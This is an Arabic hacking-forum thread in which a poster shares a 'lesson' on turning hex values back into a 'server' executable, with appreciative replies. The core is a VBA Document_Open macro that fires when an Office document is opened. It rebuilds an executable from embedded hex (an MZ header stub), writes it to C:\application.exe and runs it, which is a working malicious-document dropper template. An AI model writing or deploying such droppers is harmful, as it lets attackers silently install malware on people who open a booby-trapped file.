حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    635
    الإعجابات المتلقاة:
    1,414
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط


    [​IMG]

    كيف الحال اعضاء وزوار ومشرفين عراق تيم ارجو ان تكونوا بصحه وسلامه

    اليوم درسنا هو تحويل قيم الهيكس الي الملف الاصلي يعني السيرفر


    الاكواد والشرح حصريا على عراق تيم لا احلل من ينقلها دون ذكر الحقوق

    طبعا لا تحتاج شرح كثير في شرح مبسط داخل الاكواد

    اتركم مع الاكواد


    كود:
    
    Public Sub Document_Open()
    
        Dim str As String
        Dim hex As String
    
        hex = hex & "4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00 00" 
        hex = hex & "40 00 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
    
        'ضع قيم الهيكس كامله
    
        Dim exe As String
        Dim i As Long
        Dim puffer As Long
    
        i = 1
    
        Do
            str = Mid(hex, i, 2)
    
            
    'تحويل hex to decimal
            puffer = Val("&H" & str)
    
            'تحويل من decimal to ASCII
            exe = exe & Chr(puffer)
    
            i = i + 2
    
            If i >= Len(hex) - 2 Then
                Exit Do
            End If
        Loop
    
    |    'حفض الملف بعد التحويل
        Open "C:\application.exe" For Append As #2
        Print #2, exe
        Close #2
    
        
        Dim pid As Integer
        pid = Shell("C:\application.exe", vbNormalFocus)
    
    End Sub
    vb.net vb6 hex binaryfiles code-translation
    shareim
    

    الى هنا انتهى الدرس ارجو ان يكون قد نال اعجابكم
    [​IMG]
    امير ايكل

    المعاقب الصدري

    علي الصقور هنا

    مخلد هكسور

    محمد العراقي


    نلتقي بموضوع اخر اتركم براعيه الله


    [​IMG]

     
  2. Mr-Cancer

    Mr-Cancer Developer

    الأنتساب:
    ‏10 يوليو 2015
    المشاركات:
    130
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    رد: حصريا على عراق تيم تحويل قيم الهيكس الى ملف exe

    بارك الله فيك ياوحش
     
  3. الحسن هادي

    الحسن هادي DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    300
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    الوظيفة:
    طالب ثانوي
    الإقامة:
    .:: العراق ::.
    رد: حصريا على عراق تيم تحويل قيم الهيكس الى ملف exe

    احسنت على هالموضوع الفريد، لا حرمنا الله من جديدك يخوي ، {1!@}
     
  4. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: حصريا على عراق تيم تحويل قيم الهيكس الى ملف exe

    عاشت ايدك حبيبي بكوري :ُeُeِq:
     
  5. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    635
    الإعجابات المتلقاة:
    1,414
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: حصريا على عراق تيم تحويل قيم الهيكس الى ملف exe

    نورتو اخوتي[​IMG][​IMG][​IMG]
     
  6. Th3 J0K3R

    Th3 J0K3R Developer

    الأنتساب:
    ‏2 مايو 2012
    المشاركات:
    74
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    رد: حصريا على عراق تيم تحويل قيم الهيكس الى ملف exe

    بارك الله فيك اخوي

    واصل ابداعك ولا ترحمنا من جديدك
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة